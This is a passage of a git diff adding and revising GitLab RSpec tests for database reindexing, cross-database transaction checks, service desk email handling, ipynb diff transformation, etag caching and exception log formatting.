+ it 'raises cross-database data modification exception' do
+ expect do
+ Project.transaction do
+ project.touch
+ project.connection.execute('UPDATE foo_bars_undefined_table SET a=1 WHERE id = -1')
+ end
+ rescue StandardError
+ # Ensures that standard rescue does not silence errors
+ end.to raise_error /Cross-database data modification.*The gitlab_schema was undefined/
+ end
+ end
+
+ context 'when uniquiness validation is tested', type: :model do
+ subject { build(:ci_variable) }
+
+ it 'does not raise exceptions' do
+ expect do
+ is_expected.to validate_uniqueness_of(:key).scoped_to(:project_id, :environment_scope).with_message(/\(\w+\) has already been taken/)
+ end.not_to raise_error
+ end
+ end
+
+ context 'when doing rollback in a suppressed block' do
+ it 'does not raise misaligned transactions exception' do
+ expect do
+ # This is non-materialised transaction:
+ # 1. the transaction will be open on a write (project.touch) (in a suppressed block)
+ # 2. the rescue will be handled outside of suppressed block
+ #
+ # This will create misaligned boundaries since BEGIN
+ # of transaction will be executed within a suppressed block
+ Project.transaction do
+ described_class.with_suppressed do
+ project.touch
+
+ raise 'force rollback'
+ end
+
+ # the ensure of `.transaction` executes `ROLLBACK TO SAVEPOINT`
+ end
+ end.to raise_error /force rollback/
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/reindexing/coordinator_spec.rb b/spec/lib/gitlab/database/reindexing/coordinator_spec.rb
index 085fd3061ad..0afbe46b7f1 100644
--- a/spec/lib/gitlab/database/reindexing/coordinator_spec.rb
+++ b/spec/lib/gitlab/database/reindexing/coordinator_spec.rb
@@ -15,10 +15,18 @@ RSpec.describe Gitlab::Database::Reindexing::Coordinator do
let(:action) { create(:reindex_action, index: index) }
let!(:lease) { stub_exclusive_lease(lease_key, uuid, timeout: lease_timeout) }
- let(:lease_key) { 'gitlab/database/reindexing/coordinator' }
+ let(:lease_key) { "gitlab/database/reindexing/coordinator/#{Gitlab::Database::PRIMARY_DATABASE_NAME}" }
let(:lease_timeout) { 1.day }
let(:uuid) { 'uuid' }
+ around do |example|
+ model = Gitlab::Database.database_base_models[Gitlab::Database::PRIMARY_DATABASE_NAME]
+
+ Gitlab::Database::SharedModel.using_connection(model.connection) do
+ example.run
+ end
+ end
+
before do
swapout_view_for_table(:postgres_indexes)
diff --git a/spec/lib/gitlab/database/reindexing_spec.rb b/spec/lib/gitlab/database/reindexing_spec.rb
index 13aff343432..0c576505e07 100644
--- a/spec/lib/gitlab/database/reindexing_spec.rb
+++ b/spec/lib/gitlab/database/reindexing_spec.rb
@@ -6,6 +6,63 @@ RSpec.describe Gitlab::Database::Reindexing do
include ExclusiveLeaseHelpers
include Database::DatabaseHelpers
+ describe '.invoke' do
+ let(:databases) { Gitlab::Database.database_base_models }
+ let(:databases_count) { databases.count }
+
+ it 'cleans up any leftover indexes' do
+ expect(described_class).to receive(:cleanup_leftovers!).exactly(databases_count).times
+
+ described_class.invoke
+ end
+
+ context 'when there is an error raised' do
+ it 'logs and re-raise' do
+ expect(described_class).to receive(:automatic_reindexing).and_raise('Unexpected!')
+ expect(Gitlab::AppLogger).to receive(:error)
+
+ expect { described_class.invoke }.to raise_error('Unexpected!')
+ end
+ end
+
+ context 'when async index creation is enabled' do
+ it 'executes async index creation prior to any reindexing actions' do
+ stub_feature_flags(database_async_index_creation: true)
+
+ expect(Gitlab::Database::AsyncIndexes).to receive(:create_pending_indexes!).ordered.exactly(databases_count).times
+ expect(described_class).to receive(:automatic_reindexing).ordered.exactly(databases_count).times
+
+ described_class.invoke
+ end
+ end
+
+ context 'when async index creation is disabled' do
+ it 'does not execute async index creation' do
+ stub_feature_flags(database_async_index_creation: false)
+
+ expect(Gitlab::Database::AsyncIndexes).not_to receive(:create_pending_indexes!)
+
+ described_class.invoke
+ end
+ end
+
+ context 'calls automatic reindexing' do
+ it 'uses all candidate indexes' do
+ expect(described_class).to receive(:automatic_reindexing).exactly(databases_count).times
+
+ described_class.invoke
+ end
+
+ context 'when explicit database is given' do
+ it 'skips other databases' do
+ expect(described_class).to receive(:automatic_reindexing).once
+
+ described_class.invoke(Gitlab::Database::PRIMARY_DATABASE_NAME)
+ end
+ end
+ end
+ end
+
describe '.automatic_reindexing' do
subject { described_class.automatic_reindexing(maximum_records: limit) }
@@ -133,10 +190,19 @@ RSpec.describe Gitlab::Database::Reindexing do
end
describe '.cleanup_leftovers!' do
- subject { described_class.cleanup_leftovers! }
+ subject(:cleanup_leftovers) { described_class.cleanup_leftovers! }
+
+ let(:model) { Gitlab::Database.database_base_models[Gitlab::Database::PRIMARY_DATABASE_NAME] }
+ let(:connection) { model.connection }
+
+ around do |example|
+ Gitlab::Database::SharedModel.using_connection(connection) do
+ example.run
+ end
+ end
before do
- ApplicationRecord.connection.execute(<<~SQL)
+ connection.execute(<<~SQL)
CREATE INDEX foobar_ccnew ON users (id);
CREATE INDEX foobar_ccnew1 ON users (id);
SQL
@@ -150,11 +216,11 @@ RSpec.describe Gitlab::Database::Reindexing do
expect_query("DROP INDEX CONCURRENTLY IF EXISTS \"public\".\"foobar_ccnew1\"")
expect_query("RESET idle_in_transaction_session_timeout; RESET lock_timeout")
- subject
+ cleanup_leftovers
end
def expect_query(sql)
- expect(ApplicationRecord.connection).to receive(:execute).ordered.with(sql).and_wrap_original do |method, sql|
+ expect(connection).to receive(:execute).ordered.with(sql).and_wrap_original do |method, sql|
method.call(sql.sub(/CONCURRENTLY/, ''))
end
end
diff --git a/spec/lib/gitlab/database/shared_model_spec.rb b/spec/lib/gitlab/database/shared_model_spec.rb
index 94f2b5a3434..54af4a0c4dc 100644
--- a/spec/lib/gitlab/database/shared_model_spec.rb
+++ b/spec/lib/gitlab/database/shared_model_spec.rb
@@ -84,4 +84,16 @@ RSpec.describe Gitlab::Database::SharedModel do
expect(described_class.connection).to be(original_connection)
end
end
+
+ describe '#connection_db_config' do
+ it 'returns the class connection_db_config' do
+ shared_model_class = Class.new(described_class) do
+ self.table_name = 'postgres_async_indexes'
+ end
+
+ shared_model = shared_model_class.new
+
+ expect(shared_model.connection_db_config). to eq(described_class.connection_db_config)
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/type/json_pg_safe_spec.rb b/spec/lib/gitlab/database/type/json_pg_safe_spec.rb
new file mode 100644
index 00000000000..91dc6f39aa7
--- /dev/null
+++ b/spec/lib/gitlab/database/type/json_pg_safe_spec.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::Type::JsonPgSafe do
+ let(:type) { described_class.new }
+
+ describe '#serialize' do
+ using RSpec::Parameterized::TableSyntax
+
+ subject { type.serialize(value) }
+
+ where(:value, :json) do
+ nil | nil
+ 1 | '1'
+ 1.0 | '1.0'
+ "str\0ing\u0000" | '"string"'
+ ["\0arr", "a\u0000y"] | '["arr","ay"]'
+ { "key\0" => "value\u0000\0" } | '{"key":"value"}'
+ end
+
+ with_them do
+ it { is_expected.to eq(json) }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/diff/custom_diff_spec.rb b/spec/lib/gitlab/diff/custom_diff_spec.rb
new file mode 100644
index 00000000000..246508d2e1e
--- /dev/null
+++ b/spec/lib/gitlab/diff/custom_diff_spec.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Diff::CustomDiff do
+ include RepoHelpers
+
+ let(:project) { create(:project, :repository) }
+ let(:repository) { project.repository }
+ let(:ipynb_blob) { repository.blob_at('f6b7a707', 'files/ipython/markdown-table.ipynb') }
+ let(:blob) { repository.blob_at('HEAD', 'files/ruby/regex.rb') }
+
+ describe '#preprocess_before_diff' do
+ context 'for ipynb files' do
+ it 'transforms the diff' do
+ expect(described_class.preprocess_before_diff(ipynb_blob.path, nil, ipynb_blob)).not_to include('cells')
+ end
+
+ it 'adds the blob to the list of transformed blobs' do
+ described_class.preprocess_before_diff(ipynb_blob.path, nil, ipynb_blob)
+
+ expect(described_class.transformed_for_diff?(ipynb_blob)).to be_truthy
+ end
+ end
+
+ context 'for other files' do
+ it 'returns nil' do
+ expect(described_class.preprocess_before_diff(blob.path, nil, blob)).to be_nil
+ end
+
+ it 'does not add the blob to the list of transformed blobs' do
+ described_class.preprocess_before_diff(blob.path, nil, blob)
+
+ expect(described_class.transformed_for_diff?(blob)).to be_falsey
+ end
+ end
+ end
+
+ describe '#transformed_blob_data' do
+ it 'transforms blob data if file was processed' do
+ described_class.preprocess_before_diff(ipynb_blob.path, nil, ipynb_blob)
+
+ expect(described_class.transformed_blob_data(ipynb_blob)).not_to include('cells')
+ end
+
+ it 'does not transform blob data if file was not processed' do
+ expect(described_class.transformed_blob_data(ipynb_blob)).to be_nil
+ end
+ end
+
+ describe '#transformed_blob_language' do
+ it 'is md when file was preprocessed' do
+ described_class.preprocess_before_diff(ipynb_blob.path, nil, ipynb_blob)
+
+ expect(described_class.transformed_blob_language(ipynb_blob)).to eq('md')
+ end
+
+ it 'is nil for a .ipynb blob that was not preprocessed' do
+ expect(described_class.transformed_blob_language(ipynb_blob)).to be_nil
+ end
+ end
+end
diff --git a/spec/lib/gitlab/diff/file_spec.rb b/spec/lib/gitlab/diff/file_spec.rb
index 4b437397688..45a49a36fe2 100644
--- a/spec/lib/gitlab/diff/file_spec.rb
+++ b/spec/lib/gitlab/diff/file_spec.rb
@@ -53,7 +53,7 @@ RSpec.describe Gitlab::Diff::File do
describe 'initialize' do
context 'when file is ipynb with a change after transformation' do
- let(:commit) { project.commit("f6b7a707") }
+ let(:commit) { project.commit("532c837") }
let(:diff) { commit.raw_diffs.first }
let(:diff_file) { described_class.new(diff, diff_refs: commit.diff_refs, repository: project.repository) }
@@ -63,7 +63,7 @@ RSpec.describe Gitlab::Diff::File do
end
it 'recreates the diff by transforming the files' do
- expect(diff_file.diff.diff).not_to include('"| Fake')
+ expect(diff_file.diff.diff).not_to include('cell_type')
end
end
@@ -73,7 +73,7 @@ RSpec.describe Gitlab::Diff::File do
end
it 'does not recreate the diff' do
- expect(diff_file.diff.diff).to include('"| Fake')
+ expect(diff_file.diff.diff).to include('cell_type')
end
end
end
diff --git a/spec/lib/gitlab/diff/highlight_spec.rb b/spec/lib/gitlab/diff/highlight_spec.rb
index 94b28c38fa2..624160d2f48 100644
--- a/spec/lib/gitlab/diff/highlight_spec.rb
+++ b/spec/lib/gitlab/diff/highlight_spec.rb
@@ -151,20 +151,6 @@ RSpec.describe Gitlab::Diff::Highlight do
expect(subject[2].rich_text).to eq(%Q{ <span id="LC7" class="line" lang=""> def popen(cmd, path=nil)</span>\n})
expect(subject[2].rich_text).to be_html_safe
end
-
- context 'when limited_diff_highlighting is disabled' do
- before do
- stub_feature_flags(limited_diff_highlighting: false)
- stub_feature_flags(diff_line_syntax_highlighting: false)
- end
-
- it 'blobs are highlighted as plain text with loading all data' do
- expect(diff_file.blob).to receive(:load_all_data!).twice
-
- code = %Q{ <span id="LC7" class="line" lang=""> def popen(cmd, path=nil)</span>\n}
- expect(subject[2].rich_text).to eq(code)
- end
- end
end
end
end
diff --git a/spec/lib/gitlab/email/handler/create_issue_handler_spec.rb b/spec/lib/gitlab/email/handler/create_issue_handler_spec.rb
index bd4f1d164a8..10098a66ae9 100644
--- a/spec/lib/gitlab/email/handler/create_issue_handler_spec.rb
+++ b/spec/lib/gitlab/email/handler/create_issue_handler_spec.rb
@@ -101,6 +101,17 @@ RSpec.describe Gitlab::Email::Handler::CreateIssueHandler do
end
end
+ context 'when all lines of email are quotes' do
+ let(:email_raw) { email_fixture('emails/valid_new_issue_with_only_quotes.eml') }
+
+ it 'creates email with correct body' do
+ receiver.execute
+
+ issue = Issue.last
+ expect(issue.description).to include('This email has been forwarded without new content.')
+ end
+ end
+
context "something is wrong" do
context "when the issue could not be saved" do
before do
diff --git a/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb b/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
index c579027788d..7c34fb1a926 100644
--- a/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
+++ b/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
@@ -12,6 +12,8 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
let(:email_raw) { email_fixture('emails/service_desk.eml') }
let(:author_email) { 'jake@adventuretime.ooo' }
+ let(:message_id) { 'CADkmRc+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=otppgzduJSg@mail.gmail.com' }
+
let_it_be(:group) { create(:group, :private, name: "email") }
let(:expected_description) do
@@ -40,6 +42,7 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
expect(new_issue.all_references.all).to be_empty
expect(new_issue.title).to eq("The message subject! @all")
expect(new_issue.description).to eq(expected_description.strip)
+ expect(new_issue.email&.email_message_id).to eq(message_id)
end
it 'creates an issue_email_participant' do
@@ -72,6 +75,95 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
it_behaves_like 'a new issue request'
end
+ context 'when replying to issue creation email' do
+ def receive_reply
+ reply_email_raw = email_fixture('emails/service_desk_reply.eml')
+
+ second_receiver = Gitlab::Email::Receiver.new(reply_email_raw)
+ second_receiver.execute
+ end
+
+ context 'when an issue with message_id has been found' do
+ before do
+ receiver.execute
+ end
+
+ subject do
+ receive_reply
+ end
+
+ it 'does not create an additional issue' do
+ expect { subject }.not_to change { Issue.count }
+ end
+
+ it 'adds a comment to the created issue' do
+ subject
+
+ notes = Issue.last.notes
+ new_note = notes.first
+
+ expect(notes.count).to eq(1)
+ expect(new_note.note).to eq("Service desk reply!\n\n`/label ~label2`")
+ expect(new_note.author).to eql(User.support_bot)
+ end
+
+ it 'does not send thank you email' do
+ expect(Notify).not_to receive(:service_desk_thank_you_email)
+
+ subject
+ end
+
+ context 'when issue_email_participants FF is enabled' do
+ it 'creates 2 issue_email_participants' do
+ subject
+
+ expect(Issue.last.issue_email_participants.map(&:email))
+ .to match_array(%w(alan@adventuretime.ooo jake@adventuretime.ooo))
+ end
+ end
+
+ context 'when issue_email_participants FF is disabled' do
+ before do
+ stub_feature_flags(issue_email_participants: false)
+ end
+
+ it 'creates only 1 issue_email_participant' do
+ subject
+
+ expect(Issue.last.issue_email_participants.map(&:email))
+ .to match_array(%w(jake@adventuretime.ooo))
+ end
+ end
+ end
+
+ context 'when an issue with message_id has not been found' do
+ subject do
+ receive_reply
+ end
+
+ it 'creates a new issue correctly' do
+ expect { subject }.to change { Issue.count }.by(1)
+
+ issue = Issue.last
+
+ expect(issue.description).to eq("Service desk reply!\n\n`/label ~label2`")
+ end
+
+ it 'sends thank you email once' do
+ expect(Notify).to receive(:service_desk_thank_you_email).once.and_return(double(deliver_later: true))
+
+ subject
+ end
+
+ it 'creates 1 issue_email_participant' do
+ subject
+
+ expect(Issue.last.issue_email_participants.map(&:email))
+ .to match_array(%w(alan@adventuretime.ooo))
+ end
+ end
+ end
+
context 'when using issue templates' do
let_it_be(:user) { create(:user) }
@@ -270,6 +362,20 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
end
end
+ context 'when issue email creation fails' do
+ before do
+ allow(::Issue::Email).to receive(:create!).and_raise(StandardError)
+ end
+
+ it 'still creates a new issue' do
+ expect { receiver.execute }.to change { Issue.count }.by(1)
+ end
+
+ it 'does not create issue email record' do
+ expect { receiver.execute }.not_to change { Issue::Email.count }
+ end
+ end
+
context 'when rate limiting is in effect', :freeze_time, :clean_gitlab_redis_rate_limiting do
let(:receiver) { Gitlab::Email::Receiver.new(email_raw) }
@@ -291,19 +397,19 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
rescue RateLimitedService::RateLimitedError
end.to change { Issue.count }.by(1)
end
+ end
- context 'when requests are sent by different users' do
- let(:email_raw_2) { email_fixture('emails/service_desk_forwarded.eml') }
- let(:receiver2) { Gitlab::Email::Receiver.new(email_raw_2) }
+ context 'when requests are sent by different users' do
+ let(:email_raw_2) { email_fixture('emails/service_desk_forwarded.eml') }
+ let(:receiver2) { Gitlab::Email::Receiver.new(email_raw_2) }
- subject do
- receiver.execute
- receiver2.execute
- end
+ subject do
+ receiver.execute
+ receiver2.execute
+ end
- it 'creates 2 issues' do
- expect { subject }.to change { Issue.count }.by(2)
- end
+ it 'creates 2 issues' do
+ expect { subject }.to change { Issue.count }.by(2)
end
end
@@ -389,6 +495,7 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
context 'when the email is forwarded through an alias' do
let(:author_email) { 'jake.g@adventuretime.ooo' }
let(:email_raw) { email_fixture('emails/service_desk_forwarded.eml') }
+ let(:message_id) { 'CADkmRc+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=fdskbsf@mail.gmail.com' }
it_behaves_like 'a new issue request'
end
diff --git a/spec/lib/gitlab/email/hook/smime_signature_interceptor_spec.rb b/spec/lib/gitlab/email/hook/smime_signature_interceptor_spec.rb
index 352eb596cd9..7dd4ee7e25d 100644
--- a/spec/lib/gitlab/email/hook/smime_signature_interceptor_spec.rb
+++ b/spec/lib/gitlab/email/hook/smime_signature_interceptor_spec.rb
@@ -50,6 +50,7 @@ RSpec.describe Gitlab::Email::Hook::SmimeSignatureInterceptor do
expect(mail.header['To'].value).to eq('test@example.com')
expect(mail.header['From'].value).to eq('info@example.com')
expect(mail.header['Content-Type'].value).to match('multipart/signed').and match('protocol="application/x-pkcs7-signature"')
+ expect(mail.header.include?('Content-Disposition')).to eq(false)
# verify signature and obtain pkcs7 encoded content
p7enc = Gitlab::Email::Smime::Signer.verify_signature(
diff --git a/spec/lib/gitlab/email/service_desk_receiver_spec.rb b/spec/lib/gitlab/email/service_desk_receiver_spec.rb
index 6ba58ad5e93..49cbec6fffc 100644
--- a/spec/lib/gitlab/email/service_desk_receiver_spec.rb
+++ b/spec/lib/gitlab/email/service_desk_receiver_spec.rb
@@ -9,9 +9,7 @@ RSpec.describe Gitlab::Email::ServiceDeskReceiver do
context 'when the email contains a valid email address' do
before do
stub_service_desk_email_setting(enabled: true, address: 'support+%{key}@example.com')
- end
- it 'finds the service desk key' do
handler = double(execute: true, metrics_event: true, metrics_params: true)
expected_params = [
an_instance_of(Mail::Message), nil,
@@ -20,8 +18,38 @@ RSpec.describe Gitlab::Email::ServiceDeskReceiver do
expect(Gitlab::Email::Handler::ServiceDeskHandler)
.to receive(:new).with(*expected_params).and_return(handler)
+ end
+
+ context 'when in a To header' do
+ it 'finds the service desk key' do
+ receiver.execute
+ end
+ end
+
+ context 'when the email contains a valid email address in a header' do
+ context 'when in a Delivered-To header' do
+ let(:email) { fixture_file('emails/service_desk_custom_address_reply.eml') }
+
+ it 'finds the service desk key' do
+ receiver.execute
+ end
+ end
+
+ context 'when in a Envelope-To header' do
+ let(:email) { fixture_file('emails/service_desk_custom_address_envelope_to.eml') }
+
+ it 'finds the service desk key' do
+ receiver.execute
+ end
+ end
+
+ context 'when in a X-Envelope-To header' do
+ let(:email) { fixture_file('emails/service_desk_custom_address_x_envelope_to.eml') }
- receiver.execute
+ it 'finds the service desk key' do
+ receiver.execute
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/empty_search_results_spec.rb b/spec/lib/gitlab/empty_search_results_spec.rb
new file mode 100644
index 00000000000..e79586bef68
--- /dev/null
+++ b/spec/lib/gitlab/empty_search_results_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::EmptySearchResults do
+ subject { described_class.new }
+
+ describe '#objects' do
+ it 'returns an empty array' do
+ expect(subject.objects).to match_array([])
+ end
+ end
+
+ describe '#formatted_count' do
+ it 'returns a zero' do
+ expect(subject.formatted_count).to eq('0')
+ end
+ end
+
+ describe '#highlight_map' do
+ it 'returns an empty hash' do
+ expect(subject.highlight_map).to eq({})
+ end
+ end
+
+ describe '#aggregations' do
+ it 'returns an empty array' do
+ expect(subject.objects).to match_array([])
+ end
+ end
+end
diff --git a/spec/lib/gitlab/error_tracking_spec.rb b/spec/lib/gitlab/error_tracking_spec.rb
index 7ad1f52780a..a5d44963f4b 100644
--- a/spec/lib/gitlab/error_tracking_spec.rb
+++ b/spec/lib/gitlab/error_tracking_spec.rb
@@ -205,16 +205,6 @@ RSpec.describe Gitlab::ErrorTracking do
expect(sentry_event.dig('extra', 'sql')).to eq('SELECT "users".* FROM "users" WHERE "users"."id" = $2 AND "users"."foo" = $1')
end
end
-
- context 'when the `ActiveRecord::StatementInvalid` is wrapped in another exception' do
- it 'injects the normalized sql query into extra' do
- allow(exception).to receive(:cause).and_return(ActiveRecord::StatementInvalid.new(sql: 'SELECT "users".* FROM "users" WHERE "users"."id" = 1 AND "users"."foo" = $1'))
-
- track_exception
-
- expect(sentry_event.dig('extra', 'sql')).to eq('SELECT "users".* FROM "users" WHERE "users"."id" = $2 AND "users"."foo" = $1')
- end
- end
end
context 'event processors' do
diff --git a/spec/lib/gitlab/etag_caching/store_spec.rb b/spec/lib/gitlab/etag_caching/store_spec.rb
index 46195e64715..6188a3fc8b3 100644
--- a/spec/lib/gitlab/etag_caching/store_spec.rb
+++ b/spec/lib/gitlab/etag_caching/store_spec.rb
@@ -80,5 +80,19 @@ RSpec.describe Gitlab::EtagCaching::Store, :clean_gitlab_redis_shared_state do
expect(store.get(key)).to eq(etag)
end
end
+
+ context 'with multiple keys' do
+ let(:keys) { ['/my-group/my-project/builds/234.json', '/api/graphql:pipelines/id/5'] }
+
+ it 'stores and returns multiple values' do
+ etags = store.touch(*keys)
+
+ expect(etags.size).to eq(keys.size)
+
+ keys.each_with_index do |key, i|
+ expect(store.get(key)).to eq(etags[i])
+ end
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/exception_log_formatter_spec.rb b/spec/lib/gitlab/exception_log_formatter_spec.rb
new file mode 100644
index 00000000000..beeeeb2b64c
--- /dev/null
+++ b/spec/lib/gitlab/exception_log_formatter_spec.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::ExceptionLogFormatter do
+ describe '.format!' do
+ let(:exception) { RuntimeError.new('bad request') }
+ let(:backtrace) { caller }
+
+ let(:payload) { {} }
+
+ before do
+ allow(exception).to receive(:backtrace).and_return(backtrace)
+ end
+
+ it 'adds exception data to log' do
+ described_class.format!(exception, payload)
+
+ expect(payload['exception.class']).to eq('RuntimeError')
+ expect(payload['exception.message']).to eq('bad request')
+ expect(payload['exception.backtrace']).to eq(Gitlab::BacktraceCleaner.clean_backtrace(backtrace))
+ expect(payload['exception.sql']).to be_nil
+ end
+
+ context 'when exception is ActiveRecord::StatementInvalid' do
+ let(:exception) { ActiveRecord::StatementInvalid.new(sql: 'SELECT "users".* FROM "users" WHERE "users"."id" = 1 AND "users"."foo" = $1') }
+
+ it 'adds the normalized SQL query to payload' do
+ described_class.format!(exception, payload)
+
+ expect(payload['exception.sql']).to eq('SELECT "users".* FROM "users" WHERE "users"."id" = $2 AND "users"."foo" = $1')
+ end
+ end
+
+ context 'when the ActiveRecord::StatementInvalid is wrapped in another exception' do
+ before do
+ allow(exception).to receive(:cause).and_return(ActiveRecord::StatementInvalid.new(sql: 'SELECT "users".* FROM "users" WHERE "users"."id" = 1 AND "users"."foo" = $1'))
+ end
+
+ it 'adds the normalized SQL query to payload' do
+ described_class.format!(exception, payload)
+
+ expect(payload['exception.sql']).to eq('SELECT "users".* FROM "users" WHERE "users"."id" = $2 AND "users"."foo" = $1')
+ end
+ end
+
+ context 'when the ActiveRecord::StatementInvalid is a bad query' do
+ let(:exception) { ActiveRecord::StatementInvalid.new(sql: 'SELECT SELECT FROM SELECT') }
+
+ it 'adds the query as-is to payload' do
+ described_class.format!(exception, payload)
+
+ expect(payload['exception.sql']).to eq('SELECT SELECT FROM SELECT')
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/experimentation/controller_concern_spec.rb b/spec/lib/gitlab/experimentation/controller_concern_spec.rb
index 1f7b7b90467..8a96771eeb8 100644
--- a/spec/lib/gitlab/experimentation/controller_concern_spec.rb
+++ b/spec/lib/gitlab/experimentation/controller_concern_spec.rb
@@ -97,7 +97,7 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
describe '#push_frontend_experiment' do
it 'pushes an experiment to the frontend' do
- gon = instance_double('gon')
+ gon = class_double('Gon')
stub_experiment_for_subject(my_experiment: true)
allow(controller).to receive(:gon).and_return(gon)
diff --git a/spec/lib/gitlab/experimentation/experiment_spec.rb b/spec/lib/gitlab/experimentation/experiment_spec.rb
index d52ab3a8983..d9bf85460b3 100644
--- a/spec/lib/gitlab/experimentation/experiment_spec.rb
+++ b/spec/lib/gitlab/experimentation/experiment_spec.rb
@@ -16,6 +16,7 @@ RSpec.describe Gitlab::Experimentation::Experiment do
before do
skip_feature_flags_yaml_validation
skip_default_enabled_yaml_check
+ allow(Feature).to receive(:log_feature_flag_states?).and_return(false)
feature = double('FeatureFlag', percentage_of_time_value: percentage, enabled?: true)
allow(Feature).to receive(:get).with(:experiment_key_experiment_percentage).and_return(feature)
end
diff --git a/spec/lib/gitlab/git/diff_stats_collection_spec.rb b/spec/lib/gitlab/git/diff_stats_collection_spec.rb
index f2fe03829be..0876a88a2ee 100644
--- a/spec/lib/gitlab/git/diff_stats_collection_spec.rb
+++ b/spec/lib/gitlab/git/diff_stats_collection_spec.rb
@@ -36,7 +36,7 @@ RSpec.describe Gitlab::Git::DiffStatsCollection do
end
it 'returns capped number when it is bigger than max_files' do
- allow(::Commit).to receive(:max_diff_options).and_return(max_files: 1)
+ allow(::Commit).to receive(:diff_max_files).and_return(1)
expect(collection.real_size).to eq('1+')
end
diff --git a/spec/lib/gitlab/git/rugged_impl/use_rugged_spec.rb b/spec/lib/gitlab/git/rugged_impl/use_rugged_spec.rb
index 16cea1dc1a3..b2603e099e6 100644
--- a/spec/lib/gitlab/git/rugged_impl/use_rugged_spec.rb
+++ b/spec/lib/gitlab/git/rugged_impl/use_rugged_spec.rb
@@ -110,7 +110,7 @@ RSpec.describe Gitlab::Git::RuggedImpl::UseRugged, :seed_helper do
describe '#running_puma_with_multiple_threads?' do
context 'when using Puma' do
before do
- stub_const('::Puma', class_double('Puma'))
+ stub_const('::Puma', double('puma constant'))
allow(Gitlab::Runtime).to receive(:puma?).and_return(true)
end
diff --git a/spec/lib/gitlab/git/tree_spec.rb b/spec/lib/gitlab/git/tree_spec.rb
index 005f8ecaa3a..97ba177da71 100644
--- a/spec/lib/gitlab/git/tree_spec.rb
+++ b/spec/lib/gitlab/git/tree_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe Gitlab::Git::Tree, :seed_helper do
end
describe '#dir?' do
- let(:dir) { entries.select(&:dir?).first }
+ let(:dir) { entries.find(&:dir?) }
it { expect(dir).to be_kind_of Gitlab::Git::Tree }
it { expect(dir.id).to eq('3c122d2b7830eca25235131070602575cf8b41a1') }
@@ -134,7 +134,7 @@ RSpec.describe Gitlab::Git::Tree, :seed_helper do
end
describe '#file?' do
- let(:file) { entries.select(&:file?).first }
+ let(:file) { entries.find(&:file?) }
it { expect(file).to be_kind_of Gitlab::Git::Tree }
it { expect(file.id).to eq('dfaa3f97ca337e20154a98ac9d0be76ddd1fcc82') }
@@ -143,21 +143,21 @@ RSpec.describe Gitlab::Git::Tree, :seed_helper do
end
describe '#readme?' do
- let(:file) { entries.select(&:readme?).first }
+ let(:file) { entries.find(&:readme?) }
it { expect(file).to be_kind_of Gitlab::Git::Tree }
it { expect(file.name).to eq('README.md') }
end
describe '#contributing?' do
- let(:file) { entries.select(&:contributing?).first }
+ let(:file) { entries.find(&:contributing?) }
it { expect(file).to be_kind_of Gitlab::Git::Tree }
it { expect(file.name).to eq('CONTRIBUTING.md') }
end
describe '#submodule?' do
- let(:submodule) { entries.select(&:submodule?).first }
+ let(:submodule) { entries.find(&:submodule?) }
it { expect(submodule).to be_kind_of Gitlab::Git::Tree }
it { expect(submodule.id).to eq('79bceae69cb5750d6567b223597999bfa91cb3b9') }
diff --git a/spec/lib/gitlab/gitaly_client/commit_service_spec.rb b/spec/lib/gitlab/gitaly_client/commit_service_spec.rb
index d8e397dd6f3..8d9ab5db886 100644
--- a/spec/lib/gitlab/gitaly_client/commit_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/commit_service_spec.rb
@@ -13,10 +13,6 @@ RSpec.describe Gitlab::GitalyClient::CommitService do
let(:client) { described_class.new(repository) }
describe '#diff_from_parent' do
- before do
- stub_feature_flags(increased_diff_limits: false)
- end
-
context 'when a commit has a parent' do
it 'sends an RPC request with the parent ID as left commit' do
request = Gitaly::CommitDiffRequest.new(
@@ -108,45 +104,6 @@ RSpec.describe Gitlab::GitalyClient::CommitService do
end
end
- describe '#between' do
- let(:from) { 'master' }
- let(:to) { Gitlab::Git::EMPTY_TREE_ID }
-
- context 'with between_commits_via_list_commits enabled' do
- before do
- stub_feature_flags(between_commits_via_list_commits: true)
- end
-
- it 'sends an RPC request' do
- request = Gitaly::ListCommitsRequest.new(
- repository: repository_message, revisions: ["^" + from, to], reverse: true
- )
-
- expect_any_instance_of(Gitaly::CommitService::Stub).to receive(:list_commits)
- .with(request, kind_of(Hash)).and_return([])
-
- described_class.new(repository).between(from, to)
- end
- end
-
- context 'with between_commits_via_list_commits disabled' do
- before do
- stub_feature_flags(between_commits_via_list_commits: false)
- end
-
- it 'sends an RPC request' do
- request = Gitaly::CommitsBetweenRequest.new(
- repository: repository_message, from: from, to: to
- )
-
- expect_any_instance_of(Gitaly::CommitService::Stub).to receive(:commits_between)
- .with(request, kind_of(Hash)).and_return([])
-
- described_class.new(repository).between(from, to)
- end
- end
- end
-
describe '#diff_stats' do
let(:left_commit_id) { 'master' }
let(:right_commit_id) { 'cfe32cf61b73a0d5e9f13e774abde7ff789b1660' }
